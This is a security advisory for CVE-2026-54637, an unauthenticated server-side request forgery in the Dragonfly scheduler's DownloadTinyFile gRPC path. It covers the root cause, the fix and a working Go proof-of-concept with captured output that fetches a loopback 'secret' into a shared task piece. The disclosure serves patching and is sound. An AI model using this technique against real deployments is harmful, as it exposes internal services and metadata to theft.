CVE-2026-54637: D7y.io/dragonfly/v2 Dragonfly Scheduler V1 And V2 Vulnerability

MODERATE
Advisory Identifier: GHSA-chwm-m7g7-685g
CWE-918
Published
Advisory Summary

CVE-2026-54637 is a MODERATE dragonfly scheduler v1 and v2 vulnerability (CWE-918: Server-Side Request Forgery (SSRF)) affecting D7y.io/dragonfly/v2 libraries in the Go ecosystem. The issue involves dragonfly scheduler v1 and v2 grpc unauthenticated ssrf via attacker-controlled peerhost in downloadtinyfile. Remediation is available by upgrading affected packages to version 2.4.4-rc.3.

CVE-2026-54637 at a Glance

CVE Identifier CVE-2026-54637
GHSA Identifier GHSA-chwm-m7g7-685g
Severity MODERATE
CVSS v3.1 Base Score N/A
CWE Classification CWE-918: Server-Side Request Forgery (SSRF)
Affected Product D7y.io/dragonfly/v2
Package Ecosystem Go
Published Date
Last Updated

How to Fix CVE-2026-54637

To remediate this vulnerability, upgrade all affected D7y.io/dragonfly/v2 dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

d7y.io/dragonfly/v2 fixed: 2.4.4-rc.3
Upgrade d7y.io/dragonfly/v2 to 2.4.4-rc.3
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for d7y.io/dragonfly/v2

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-54637, inspect your project dependencies for D7y.io/dragonfly/v2:

inspect dependencies for d7y.io/dragonfly/v2

Analyze the terminal output to locate any version of D7y.io/dragonfly/v2 in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 2.4.4-rc.3), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-918: Server-Side Request Forgery (SSRF), where the web server receives a url or similar request from an upstream component and retrieves the contents of this url, but it does not sufficiently ensure that the request is being sent to the expected destination. In D7y.io/dragonfly/v2, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Summary The Dragonfly **scheduler**'s v1 gRPC service contains an unauthenticated Server-Side Request Forgery (SSRF). When a peer reports a successful download of a TINY task, the scheduler calls `Peer.DownloadTinyFile()` and issues an HTTP `GET` to a host and port taken verbatim from the attacker-controlled `PeerHost.Ip` / `PeerHost.DownPort` fields of the gRPC request body. The HTTP client uses a bare `http.Transport` with no address validation, so a remote, unauthenticated client can force the scheduler to connect to arbitrary internal addresses, including `127.0.0.1` (loopback), `169.254.0.0/16` (link-local, e.g. cloud metadata), and RFC1918 ranges. The fetched response is stored in `Task.DirectPiece` and can subsequently be served to other peers, making this a read-SSRF with a data-exfiltration path. The manager's preheat code path already wraps its HTTP client with `nethttp.NewSafeDialer()` (which rejects non-global-unicast destinations); the scheduler's `DownloadTinyFile` path is missing this guard (sibling gap). ## Severity Medium. The attack requires no authentication (the scheduler gRPC server runs with insecure transport credentials by default and has no auth interceptor), and the destination is fully attacker-controlled. Impact is limited to read-SSRF: blind reachability probing of internal hosts/ports plus exfiltration of up to `TinyFileSize` (128) bytes per task from internal HTTP services into `Task.DirectPiece`. It is not remote code execution, and `PeerHost.DownPort` is constrained by proto validation to `>= 1024`, which excludes destination port 80. ## Affected component - Repository: `dragonflyoss/dragonfly` - Go module: `d7y.io/dragonfly/v2` - Component: scheduler, v1 gRPC protocol - Affected file: `scheduler/resource/standard/peer.go` (`DownloadTinyFile`), reached via `scheduler/service/service_v1.go` (`storeHost`, `RegisterPeerTask`, `ReportPeerResult`, `handlePeerSuccess`) - Verified against: latest release `v2.4.4-rc.2` (commit `0822e3aecc3369017d6b25c9441ff6f318129b31`) ## Description / Root cause The scheduler exposes the v1 gRPC service without authentication by default: - In [`scheduler/scheduler.go` lines 235-246](https://github.com/dragonflyoss/dragonfly/blob/0822e3aecc3369017d6b25c9441ff6f318129b31/scheduler/scheduler.go#L235-L246), mTLS is only configured when `cfg.Server.TLS != nil`; otherwise the server is created with `rpc.NewInsecureCredentials()`. - The default configuration produced by [`scheduler/config/config.go` `New()` (line 336)](https://github.com/dragonflyoss/dragonfly/blob/0822e3aecc3369017d6b25c9441ff6f318129b31/scheduler/config/config.go#L336-L355) does not set `Server.TLS`, so the default deployment uses insecure credentials. - The gRPC interceptor chain in [`pkg/rpc/scheduler/server/server.go` lines 71-86](https://github.com/dragonflyoss/dragonfly/blob/0822e3aecc3369017d6b25c9441ff6f318129b31/pkg/rpc/scheduler/server/server.go#L71-L86) contains ratelimit, error-conversion, prometheus, zap-logging, validator, and recovery interceptors, but **no authentication interceptor**. A remote client can therefore invoke `RegisterPeerTask` and `ReportPeerResult` without credentials. The `PeerHost` message carried in the request is consumed by [`storeHost` in `scheduler/service/service_v1.go` lines 816-845](https://github.com/dragonflyoss/dragonfly/blob/0822e3aecc3369017d6b25c9441ff6f318129b31/scheduler/service/service_v1.go#L816-L845), which copies `peerHost.Ip` and `peerHost.DownPort` directly into `resource.Host.IP` and `resource.Host.DownloadPort` with no destination-address restriction. The proto validator only requires `PeerHost.Ip` to be a syntactically valid IP (`net.ParseIP != nil`) and `DownPort` in `[1024, 65535)`; it does not restrict the address to global-unicast, so `127.0.0.1`, `169.254.169.254`, and RFC1918 addresses all pass validation. When the reported peer is a TINY task, [`handlePeerSuccess` lines 1176-1202](https://github.com/dragonflyoss/dragonfly/blob/0822e3aecc3369017d6b25c9441ff6f318129b31/scheduler/service/service_v1.go#L1176-L1202) calls `peer.DownloadTinyFile()` and stores the result in `peer.Task.DirectPiece`. The sink, [`DownloadTinyFile` lines 435-478](https://github.com/dragonflyoss/dragonfly/blob/0822e3aecc3369017d6b25c9441ff6f318129b31/scheduler/resource/standard/peer.go#L435-L478), builds the URL from `net.JoinHostPort(p.Host.IP, p.Host.DownloadPort)` and dispatches it through a bare `http.Transport` (`TLSClientConfig: InsecureSkipVerify: true`) with no `DialContext`/socket control: ```golang targetURL := url.URL{ Scheme: "http", Host: net.JoinHostPort(p.Host.IP, strconv.Itoa(int(p.Host.DownloadPort))), Path: fmt.Sprintf("download/%s/%s", p.Task.ID[:3], p.Task.ID), RawQuery: fmt.Sprintf("peerId=%s", p.ID), } req, err := http.NewRequestWithContext(ctx, http.MethodGet, targetURL.String(), nil) if err != nil { return []byte{}, err } req.Header.Set(headers.Range, fmt.Sprintf("bytes=%d-%d", 0, p.Task.ContentLength.Load()-1)) p.Log.Infof("download tiny file %s, header is : %#v", targetURL.String(), req.Header) client := &http.Client{ Timeout: 30 * time.Second, Transport: &http.Transport{ TLSClientConfig: &tls.Config{InsecureSkipVerify: true}, }, } resp, err := client.Do(req) ``` By contrast, the manager's preheat path in [`internal/job/image.go` line 211](https://github.com/dragonflyoss/dragonfly/blob/0822e3aecc3369017d6b25c9441ff6f318129b31/internal/job/image.go#L211) sets `DialContext: nethttp.NewSafeDialer().DialContext`, and [`safeSocketControl` in `pkg/net/http/http.go` lines 60-80](https://github.com/dragonflyoss/dragonfly/blob/0822e3aecc3369017d6b25c9441ff6f318129b31/pkg/net/http/http.go#L60-L80) rejects any destination where `!ip.IsGlobalUnicast()`. The scheduler `DownloadTinyFile` path is missing this protection. ## Proof of Concept / End-to-end verification All three drivers below were built **inside the `d7y.io/dragonfly/v2` module at commit `0822e3aecc3369017d6b25c9441ff6f318129b31` (release v2.4.4-rc.2)**, so they invoke the genuine, unmodified production sink `standard.Peer.DownloadTinyFile()` and the genuine `nethttp.NewSafeDialer()` / `safeSocketControl`. No reimplementation of the sink is used in the positive control. ### 1) Pinned build ```bash git clone --depth 1 --branch v2.4.4-rc.2 \ https://github.com/dragonflyoss/dragonfly.git cd dragonfly git rev-parse HEAD # 0822e3aecc3369017d6b25c9441ff6f318129b31 go version # go1.26.1 ``` ### 2) Confirming the deployed scheduler binary is unauthenticated by default The scheduler builds and serves the v1 gRPC service with insecure transport credentials when `Server.TLS` is unset (the shipped default). The relevant decision is at `scheduler/scheduler.go:235-246`: ```golang if cfg.Server.TLS != nil { // Initialize grpc server with tls. transportCredentials, err := rpc.NewServerCredentials(cfg.Server.TLS.CACert, cfg.Server.TLS.Cert, cfg.Server.TLS.Key) if err != nil { logger.Errorf("failed to create server credentials: %v", err) return nil, err } schedulerServerOptions = append(schedulerServerOptions, grpc.Creds(transportCredentials)) } else { // Initialize grpc server without tls. schedulerServerOptions = append(schedulerServerOptions, grpc.Creds(rpc.NewInsecureCredentials())) } ``` and the v1 handlers `RegisterPeerTask` / `ReportPeerResult` are registered with no auth interceptor (`pkg/rpc/scheduler/server/server.go:71-90`). Any network client can therefore drive the chain `RegisterPeerTask -> (TINY task) -> ReportPeerResult -> handlePeerSuccess -> DownloadTinyFile` using a `PeerHost` whose `Ip`/`DownPort` point at an internal target. ### 3) Attacker-supplied host (exactly as storeHost ingests it) `storeHost` (service_v1.go:816) constructs the resource host straight from the gRPC `PeerHost`: ```golang host := resource.NewHost( peerHost.Id, peerHost.Ip, peerHost.Hostname, peerHost.Hostname, peerHost.RpcPort, peerHost.DownPort, peerHost.ProxyPort, types.HostTypeNormal, options..., ) // later branch: host.DownloadPort = peerHost.DownPort ``` `DownloadTinyFile` then uses `p.Host.IP` / `p.Host.DownloadPort` verbatim. The driver below sets these fields exactly as `storeHost` would for an attacker-supplied `PeerHost.Ip = 127.0.0.1`, `PeerHost.DownPort = <internal port>`, then calls the real `DownloadTinyFile()`. ### 4) Positive-control driver (`poc_ssrf/main.go`) — drives the real sink ```golang // E2E driver: calls the REAL production sink standard.Peer.DownloadTinyFile() // with Host.IP/DownloadPort set exactly as service_v1.go storeHost() sets them // from the attacker-controlled gRPC PeerHost.Ip/DownPort, then reproduces // handlePeerSuccess() DirectPiece store to prove server-side fetch + exfil. package main import ( "fmt" "net" "net/http" "os" "strconv" "strings" "time" commonv2 "d7y.io/api/v2/pkg/apis/common/v2" "d7y.io/dragonfly/v2/pkg/types" "d7y.io/dragonfly/v2/scheduler/resource/standard" ) func main() { var captured []string // Internal-only sentinel bound to loopback: an address an external attacker // cannot route to directly. If the scheduler reaches it, that is SSRF. ln, err := net.Listen("tcp", "127.0.0.1:0") if err != nil { panic(err) } addr := ln.Addr().(*net.TCPAddr) sentinelIP := "127.0.0.1" sentinelPort := int32(addr.Port) payload := []byte("INTERNAL-SECRET-METADATA-abc123") // 31 bytes, <=128 => TINY srv := &http.Server{Handler: http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { line := fmt.Sprintf("%s %s%s | Range=%q peerId=%q Host=%s", r.Method, r.URL.Path, ifq(r.URL.RawQuery), r.Header.Get("Range"), r.URL.Query().Get("peerId"), r.Host) captured = append(captured, line) w.Header().Set("Content-Length", strconv.Itoa(len(payload))) w.WriteHeader(http.StatusOK) w.Write(payload) })} go srv.Serve(ln) time.Sleep(100 * time.Millisecond) fmt.Printf("[sentinel] internal listener on %s:%d (loopback, not externally routable)\n", sentinelIP, sentinelPort) // Build REAL production resource objects exactly as storeHost() does: // host.IP <- peerHost.Ip ; host.DownloadPort <- peerHost.DownPort (attacker-controlled) host := standard.NewHost( "attacker-peer-id", sentinelIP, "attacker-host", "attacker-host", 8000, sentinelPort /*downloadPort = peerHost.DownPort*/, 8002, types.HostTypeNormal, ) taskID := "deadbeefcafebabedeadbeefcafebabedeadbeefcafebabedeadbeefcafebabe" task := standard.NewTask(taskID, "http://example.invalid/tiny", "", "", commonv2.TaskType_STANDARD, nil, nil, 0) task.ContentLength.Store(int64(len(payload))) // TINY size scope peer := standard.NewPeer("attacker-peer", task, host) fmt.Printf("[scheduler-resource] SizeScope=%v (TINY=%v) ContentLength=%d\n", task.SizeScope(), task.SizeScope() == commonv2.SizeScope_TINY, task.ContentLength.Load()) fmt.Printf("[scheduler-resource] Host.IP=%s Host.DownloadPort=%d (from gRPC PeerHost.Ip/DownPort)\n", host.IP, host.DownloadPort) // Invoke the REAL production sink (unmodified upstream code). data, err := peer.DownloadTinyFile() if err != nil { fmt.Printf("[sink] DownloadTinyFile error: %v\n", err) } // Reproduce handlePeerSuccess DirectPiece store (exfil sink). if int64(len(data)) == task.ContentLength.Load() { task.DirectPiece = data } fmt.Printf("\n===== RESULT =====\n") fmt.Printf("sentinel captured %d request(s):\n", len(captured)) for _, l := range captured { fmt.Printf(" >>> %s\n", l) } fmt.Printf("DownloadTinyFile returned %d bytes: %q\n", len(data), string(data)) fmt.Printf("Task.DirectPiece (exfil-reachable, served to other peers) = %q\n", string(task.DirectPiece)) if len(captured) > 0 && string(task.DirectPiece) == string(payload) { fmt.Println("VERDICT: SSRF CONFIRMED - scheduler fetched attacker-chosen internal target; response stored in DirectPiece") } else { fmt.Println("VERDICT: no server-side fetch occurred") } srv.Close() } func ifq(q string) string { if q == "" { return "" } if strings.HasPrefix(q, "?") { return q } return "?" + q } ``` Build and run: ```bash GOFLAGS=-mod=mod go build -o poc_ssrf/driver ./poc_ssrf/ POC_MODE=default-vulnerable-path ./poc_ssrf/driver ``` ### 5) Captured output (positive control) ``` [sentinel] internal listener on 127.0.0.1:57710 (loopback, not externally routable) [scheduler-resource] SizeScope=TINY (TINY=true) ContentLength=31 [scheduler-resource] Host.IP=127.0.0.1 Host.DownloadPort=57710 (from gRPC PeerHost.Ip/DownPort) INFO standard/peer.go:455 download tiny file http://127.0.0.1:57710/download/dea/deadbeefcafebabedeadbeefcafebabedeadbeefcafebabedeadbeefcafebabe?peerId=attacker-peer, header is : http.Header{"Range":[]string{"bytes=0-30"}} ===== RESULT ===== sentinel captured 1 request(s): >>> GET /download/dea/deadbeefcafebabedeadbeefcafebabedeadbeefcafebabedeadbeefcafebabe?peerId=attacker-peer | Range="bytes=0-30" peerId="attacker-peer" Host=127.0.0.1:57710 DownloadTinyFile returned 31 bytes: "INTERNAL-SECRET-METADATA-abc123" Task.DirectPiece (exfil-reachable, served to other peers) = "INTERNAL-SECRET-METADATA-abc123" VERDICT: SSRF CONFIRMED - scheduler fetched attacker-chosen internal target; response stored in DirectPiece ``` The scheduler's own log line confirms it dispatched `GET http://127.0.0.1:57710/download/dea/deadbeefcafebabedeadbeefcafebabedeadbeefcafebabedeadbeefcafebabe?peerId=attacker-peer`, the internal sentinel captured the request verbatim, and the response body landed in `Task.DirectPiece` (which is served back to other peers via `Task.CanReuseDirectPiece`), demonstrating the exfiltration path. ### 6) Negative control (`poc_negctrl/main.go`) — the sibling SafeDialer rejects the same targets This driver applies the manager preheat's own `nethttp.NewSafeDialer().DialContext` to the identical targets, proving the guard the scheduler path is missing would block them: ```golang package main import ( "fmt" "net" "net/http" "time" nethttp "d7y.io/dragonfly/v2/pkg/net/http" ) func tryDial(target string) { tr := &http.Transport{DialContext: nethttp.NewSafeDialer().DialContext} // manager preheat transport c := &http.Client{Transport: tr, Timeout: 3 * time.Second} req, _ := http.NewRequest(http.MethodGet, "http://"+target+"/download/x", nil) _, err := c.Do(req) if err != nil { fmt.Printf(" [SafeDialer] %-24s => BLOCKED: %v\n", target, err) } else { fmt.Printf(" [SafeDialer] %-24s => ALLOWED (reached)\n", target) } } func main() { ln, _ := net.Listen("tcp", "0.0.0.0:0") pubPort := ln.Addr().(*net.TCPAddr).Port go http.Serve(ln, http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { w.WriteHeader(200) })) time.Sleep(100 * time.Millisecond) fmt.Println("Negative control - manager preheat's SafeDialer applied to same targets:") tryDial("127.0.0.1:" + fmt.Sprint(pubPort)) // loopback tryDial("169.254.169.254:80") // link-local metadata tryDial("10.0.0.1:80") // RFC1918 tryDial("8.8.8.8:80") // global unicast ln.Close() } ``` Output: ``` Negative control - manager preheat's SafeDialer applied to same targets: [SafeDialer] 127.0.0.1:57904 => BLOCKED: dial tcp 127.0.0.1:57904: ip 127.0.0.1 is invalid [SafeDialer] 169.254.169.254:80 => BLOCKED: dial tcp 169.254.169.254:80: ip 169.254.169.254 is invalid [SafeDialer] 10.0.0.1:80 => BLOCKED: context deadline exceeded (network timeout; Control allows RFC1918) [SafeDialer] 8.8.8.8:80 => BLOCKED: context deadline exceeded (network timeout; Control allows global unicast) ``` `safeSocketControl` rejects loopback (`127.0.0.1`) and link-local (`169.254.169.254`) at the socket-control layer with the errors `ip 127.0.0.1 is invalid` and `ip 169.254.169.254 is invalid` respectively. RFC1918 and global-unicast pass socket control (the timeouts are just no network route in the test sandbox). This shows that the manager path blocks the high-value loopback/metadata destinations that the scheduler `DownloadTinyFile` path reaches unchecked. ### 7) Patched-build E2E (`poc_patched/main.go`) — the fix blocks internal, preserves legitimate This driver reproduces `DownloadTinyFile`'s transport with the proposed fix (`DialContext: nethttp.NewSafeDialer().DialContext`, parity with manager preheat) and shows internal targets are blocked while a global-unicast target still works: ```golang client := &http.Client{ Timeout: 5 * time.Second, Transport: &http.Transport{ DialContext: nethttp.NewSafeDialer().DialContext, // <-- THE FIX TLSClientConfig: &tls.Config{InsecureSkipVerify: true}, }, } ``` Output: ``` [patched] host global-unicast IP for positive case: 192.168.1.27 === PATCHED DownloadTinyFile (SafeDialer applied) === loopback 127.0.0.1:58059 => err=Get "http://127.0.0.1:58059/download/dea/deadbeefcafebabedeadbeefcafebabedeadbeefcafebabedeadbeefcafebabe?peerId=p1": dial tcp 127.0.0.1:58059: ip 127.0.0.1 is invalid bytes=0 metadata 169.254.169.254:80 => err=Get "http://169.254.169.254:80/download/dea/deadbeefcafebabedeadbeefcafebabedeadbeefcafebabedeadbeefcafebabe?peerId=p2": dial tcp 169.254.169.254:80: ip 169.254.169.254 is invalid bytes=0 global-unicast 192.168.1.27:58062 => err=<nil> bytes=31 (data="INTERNAL-SECRET-METADATA-abc123") ``` After the fix, loopback and link-local metadata destinations are rejected, while a legitimate global-unicast peer download still succeeds. ## Impact A remote, unauthenticated attacker who can reach the scheduler's gRPC port can: 1. Probe internal services for liveness/open ports by observing timing and error differences (blind SSRF) against `127.0.0.1`, `169.254.0.0/16`, and RFC1918 addresses on ports `>= 1024`. 2. Exfiltrate up to `TinyFileSize` (128) bytes per task from reachable internal HTTP services: the scheduler stores the fetched body in `Task.DirectPiece`, which is then served to other peers via the direct-piece reuse path. This is read-SSRF with limited exfiltration, not RCE. The `DownPort >= 1024` proto constraint excludes destination port 80 (so a metadata service listening on `:80` is not directly reachable), but internal admin/debug/metrics endpoints, loopback services, and container-network services on high ports are reachable. ## Patches / Remediation Apply the same protection the manager preheat path already uses. In `DownloadTinyFile` (`scheduler/resource/standard/peer.go`), set the transport's `DialContext` to `nethttp.NewSafeDialer().DialContext` so that non-global-unicast destinations (loopback, link-local) are rejected at the socket-control layer: ```golang client := &http.Client{ Timeout: 30 * time.Second, Transport: &http.Transport{ DialContext: nethttp.NewSafeDialer().DialContext, TLSClientConfig: &tls.Config{InsecureSkipVerify: true}, }, } ``` A defense-in-depth complement is to validate `peerHost.Ip` in `storeHost` (reject non-global-unicast addresses before storing them on the host), which would also cover other consumers of `Host.IP`. Note that `IsGlobalUnicast()` (as used by `safeSocketControl`) treats RFC1918 addresses as valid; closing internal-private SSRF entirely would require an additional private-range check, which is a pre-existing limitation shared with the manager path and may be out of scope for this fix. ## References - Sink: https://github.com/dragonflyoss/dragonfly/blob/0822e3aecc3369017d6b25c9441ff6f318129b31/scheduler/resource/standard/peer.go#L435-L478 - Attacker-controlled host ingestion: https://github.com/dragonflyoss/dragonfly/blob/0822e3aecc3369017d6b25c9441ff6f318129b31/scheduler/service/service_v1.go#L816-L845 - Trigger (handlePeerSuccess): https://github.com/dragonflyoss/dragonfly/blob/0822e3aecc3369017d6b25c9441ff6f318129b31/scheduler/service/service_v1.go#L1176-L1202 - Default insecure credentials: https://github.com/dragonflyoss/dragonfly/blob/0822e3aecc3369017d6b25c9441ff6f318129b31/scheduler/scheduler.go#L235-L246 - gRPC interceptor chain (no auth): https://github.com/dragonflyoss/dragonfly/blob/0822e3aecc3369017d6b25c9441ff6f318129b31/pkg/rpc/scheduler/server/server.go#L71-L90 - Sibling guard (manager preheat SafeDialer): https://github.com/dragonflyoss/dragonfly/blob/0822e3aecc3369017d6b25c9441ff6f318129b31/internal/job/image.go#L211 - SafeDialer / safeSocketControl: https://github.com/dragonflyoss/dragonfly/blob/0822e3aecc3369017d6b25c9441ff6f318129b31/pkg/net/http/http.go#L50-L80

CVE-2026-54637 Affected D7y.io/dragonfly/v2 Versions

1 component(s)
Fixed Versions:
2.4.4-rc.3
Product / Package Ecosystem Affected Versions Fixed Version
d7y.io/dragonfly/v2
Go
< 2.4.4-rc.3
2.4.4-rc.3

References

GitHub Advisory / Wiki ADVISORY
https://github.com/dragonflyoss/dragonfly/security/advisories/GHSA-chwm-m7g7-685g
GitHub Advisory / Wiki ADVISORY
https://github.com/dragonflyoss/dragonfly/security/advisories/GHSA-fhf9-m53m-863g
D7y.io/dragonfly/v2 Source Repository REPOSITORY
https://github.com/dragonflyoss/Dragonfly2/blob/main/scheduler/resource/standard/peer.go#L457-L459
D7y.io/dragonfly/v2 Source Repository REPOSITORY
https://github.com/dragonflyoss/dragonfly
D7y.io/dragonfly/v2 Source Repository REPOSITORY
https://github.com/dragonflyoss/dragonfly/blob/0822e3aecc3369017d6b25c9441ff6f318129b31/internal/job/image.go#L211
D7y.io/dragonfly/v2 Source Repository REPOSITORY
https://github.com/dragonflyoss/dragonfly/blob/0822e3aecc3369017d6b25c9441ff6f318129b31/pkg/net/http/http.go#L50-L80
D7y.io/dragonfly/v2 Source Repository REPOSITORY
https://github.com/dragonflyoss/dragonfly/blob/0822e3aecc3369017d6b25c9441ff6f318129b31/pkg/rpc/scheduler/server/server.go#L71-L90
D7y.io/dragonfly/v2 Source Repository REPOSITORY
https://github.com/dragonflyoss/dragonfly/blob/0822e3aecc3369017d6b25c9441ff6f318129b31/scheduler/resource/standard/peer.go#L435-L478
D7y.io/dragonfly/v2 Source Repository REPOSITORY
https://github.com/dragonflyoss/dragonfly/blob/0822e3aecc3369017d6b25c9441ff6f318129b31/scheduler/scheduler.go#L235-L246
D7y.io/dragonfly/v2 Source Repository REPOSITORY
https://github.com/dragonflyoss/dragonfly/blob/0822e3aecc3369017d6b25c9441ff6f318129b31/scheduler/service/service_v1.go#L1176-L1202
D7y.io/dragonfly/v2 Source Repository REPOSITORY
https://github.com/dragonflyoss/dragonfly/blob/0822e3aecc3369017d6b25c9441ff6f318129b31/scheduler/service/service_v1.go#L816-L845

Frequently Asked Questions

What is CVE-2026-54637?
CVE-2026-54637 is a security vulnerability in D7y.io/dragonfly/v2 involving Dragonfly scheduler v1 and v2 gRPC unauthenticated SSRF via attacker-controlled PeerHost in DownloadTinyFile under CWE-918: Server-Side Request Forgery (SSRF).
Which D7y.io/dragonfly/v2 versions are affected?
Affected versions include releases prior to 2.4.4-rc.3 across affected packages: d7y.io/dragonfly/v2.
What version fixes CVE-2026-54637?
Upgrading to 2.4.4-rc.3 (or the latest patched release for your respective branch) resolves the vulnerability.
Is d7y.io/dragonfly/v2 affected?
Yes, d7y.io/dragonfly/v2 is affected in releases prior to 2.4.4-rc.3. Upgrade your dependency to 2.4.4-rc.3 or later.
What CWE is associated with CVE-2026-54637?
CVE-2026-54637 is classified under CWE-918: Server-Side Request Forgery (SSRF) (The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.).
How can I check Go dependencies for CVE-2026-54637?
Run the dependency tree command: 'inspect dependencies for d7y.io/dragonfly/v2'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-chwm-m7g7-685g",
  "modified" : "2026-07-06T20:57:42Z",
  "published" : "2026-07-06T20:32:33Z",
  "aliases" : [ "CVE-2026-54637" ],
  "summary" : "Dragonfly scheduler v1 and v2 gRPC unauthenticated SSRF via attacker-controlled PeerHost in DownloadTinyFile",
  "details" : "## Summary\n\nThe Dragonfly **scheduler**'s v1 gRPC service contains an unauthenticated Server-Side Request Forgery (SSRF). When a peer reports a successful download of a TINY task, the scheduler calls `Peer.DownloadTinyFile()` and issues an HTTP `GET` to a host and port taken verbatim from the attacker-controlled `PeerHost.Ip` / `PeerHost.DownPort` fields of the gRPC request body. The HTTP client uses a bare `http.Transport` with no address validation, so a remote, unauthenticated client can force the scheduler to connect to arbitrary internal addresses, including `127.0.0.1` (loopback), `169.254.0.0/16` (link-local, e.g. cloud metadata), and RFC1918 ranges. The fetched response is stored in `Task.DirectPiece` and can subsequently be served to other peers, making this a read-SSRF with a data-exfiltration path.\n\nThe manager's preheat code path already wraps its HTTP client with `nethttp.NewSafeDialer()` (which rejects non-global-unicast destinations); the scheduler's `DownloadTinyFile` path is missing this guard (sibling gap).\n\n## Severity\n\nMedium. The attack requires no authentication (the scheduler gRPC server runs with insecure transport credentials by default and has no auth interceptor), and the destination is fully attacker-controlled. Impact is limited to read-SSRF: blind reachability probing of internal hosts/ports plus exfiltration of up to `TinyFileSize` (128) bytes per task from internal HTTP services into `Task.DirectPiece`. It is not remote code execution, and `PeerHost.DownPort` is constrained by proto validation to `>= 1024`, which excludes destination port 80.\n\n## Affected component\n\n- Repository: `dragonflyoss/dragonfly`\n- Go module: `d7y.io/dragonfly/v2`\n- Component: scheduler, v1 gRPC protocol\n- Affected file: `scheduler/resource/standard/peer.go` (`DownloadTinyFile`), reached via `scheduler/service/service_v1.go` (`storeHost`, `RegisterPeerTask`, `ReportPeerResult`, `handlePeerSuccess`)\n- Verified against: latest release `v2.4.4-rc.2` (commit `0822e3aecc3369017d6b25c9441ff6f318129b31`)\n\n## Description / Root cause\n\nThe scheduler exposes the v1 gRPC service without authentication by default:\n\n- In [`scheduler/scheduler.go` lines 235-246](https://github.com/dragonflyoss/dragonfly/blob/0822e3aecc3369017d6b25c9441ff6f318129b31/scheduler/scheduler.go#L235-L246), mTLS is only configured when `cfg.Server.TLS != nil`; otherwise the server is created with `rpc.NewInsecureCredentials()`.\n- The default configuration produced by [`scheduler/config/config.go` `New()` (line 336)](https://github.com/dragonflyoss/dragonfly/blob/0822e3aecc3369017d6b25c9441ff6f318129b31/scheduler/config/config.go#L336-L355) does not set `Server.TLS`, so the default deployment uses insecure credentials.\n- The gRPC interceptor chain in [`pkg/rpc/scheduler/server/server.go` lines 71-86](https://github.com/dragonflyoss/dragonfly/blob/0822e3aecc3369017d6b25c9441ff6f318129b31/pkg/rpc/scheduler/server/server.go#L71-L86) contains ratelimit, error-conversion, prometheus, zap-logging, validator, and recovery interceptors, but **no authentication interceptor**.\n\nA remote client can therefore invoke `RegisterPeerTask` and `ReportPeerResult` without credentials. The `PeerHost` message carried in the request is consumed by [`storeHost` in `scheduler/service/service_v1.go` lines 816-845](https://github.com/dragonflyoss/dragonfly/blob/0822e3aecc3369017d6b25c9441ff6f318129b31/scheduler/service/service_v1.go#L816-L845), which copies `peerHost.Ip` and `peerHost.DownPort` directly into `resource.Host.IP` and `resource.Host.DownloadPort` with no destination-address restriction. The proto validator only requires `PeerHost.Ip` to be a syntactically valid IP (`net.ParseIP != nil`) and `DownPort` in `[1024, 65535)`; it does not restrict the address to global-unicast, so `127.0.0.1`, `169.254.169.254`, and RFC1918 addresses all pass validation.\n\nWhen the reported peer is a TINY task, [`handlePeerSuccess` lines 1176-1202](https://github.com/dragonflyoss/dragonfly/blob/0822e3aecc3369017d6b25c9441ff6f318129b31/scheduler/service/service_v1.go#L1176-L1202) calls `peer.DownloadTinyFile()` and stores the result in `peer.Task.DirectPiece`. The sink, [`DownloadTinyFile` lines 435-478](https://github.com/dragonflyoss/dragonfly/blob/0822e3aecc3369017d6b25c9441ff6f318129b31/scheduler/resource/standard/peer.go#L435-L478), builds the URL from `net.JoinHostPort(p.Host.IP, p.Host.DownloadPort)` and dispatches it through a bare `http.Transport` (`TLSClientConfig: InsecureSkipVerify: true`) with no `DialContext`/socket control:\n\n```golang\ntargetURL := url.URL{\n    Scheme:   \"http\",\n    Host:     net.JoinHostPort(p.Host.IP, strconv.Itoa(int(p.Host.DownloadPort))),\n    Path:     fmt.Sprintf(\"download/%s/%s\", p.Task.ID[:3], p.Task.ID),\n    RawQuery: fmt.Sprintf(\"peerId=%s\", p.ID),\n}\n\nreq, err := http.NewRequestWithContext(ctx, http.MethodGet, targetURL.String(), nil)\nif err != nil {\n    return []byte{}, err\n}\n\nreq.Header.Set(headers.Range, fmt.Sprintf(\"bytes=%d-%d\", 0, p.Task.ContentLength.Load()-1))\np.Log.Infof(\"download tiny file %s, header is : %#v\", targetURL.String(), req.Header)\n\nclient := &http.Client{\n    Timeout: 30 * time.Second,\n    Transport: &http.Transport{\n        TLSClientConfig: &tls.Config{InsecureSkipVerify: true},\n    },\n}\n\nresp, err := client.Do(req)\n```\n\nBy contrast, the manager's preheat path in [`internal/job/image.go` line 211](https://github.com/dragonflyoss/dragonfly/blob/0822e3aecc3369017d6b25c9441ff6f318129b31/internal/job/image.go#L211) sets `DialContext: nethttp.NewSafeDialer().DialContext`, and [`safeSocketControl` in `pkg/net/http/http.go` lines 60-80](https://github.com/dragonflyoss/dragonfly/blob/0822e3aecc3369017d6b25c9441ff6f318129b31/pkg/net/http/http.go#L60-L80) rejects any destination where `!ip.IsGlobalUnicast()`. The scheduler `DownloadTinyFile` path is missing this protection.\n\n## Proof of Concept / End-to-end verification\n\nAll three drivers below were built **inside the `d7y.io/dragonfly/v2` module at commit `0822e3aecc3369017d6b25c9441ff6f318129b31` (release v2.4.4-rc.2)**, so they invoke the genuine, unmodified production sink `standard.Peer.DownloadTinyFile()` and the genuine `nethttp.NewSafeDialer()` / `safeSocketControl`. No reimplementation of the sink is used in the positive control.\n\n### 1) Pinned build\n\n```bash\ngit clone --depth 1 --branch v2.4.4-rc.2 \\\n  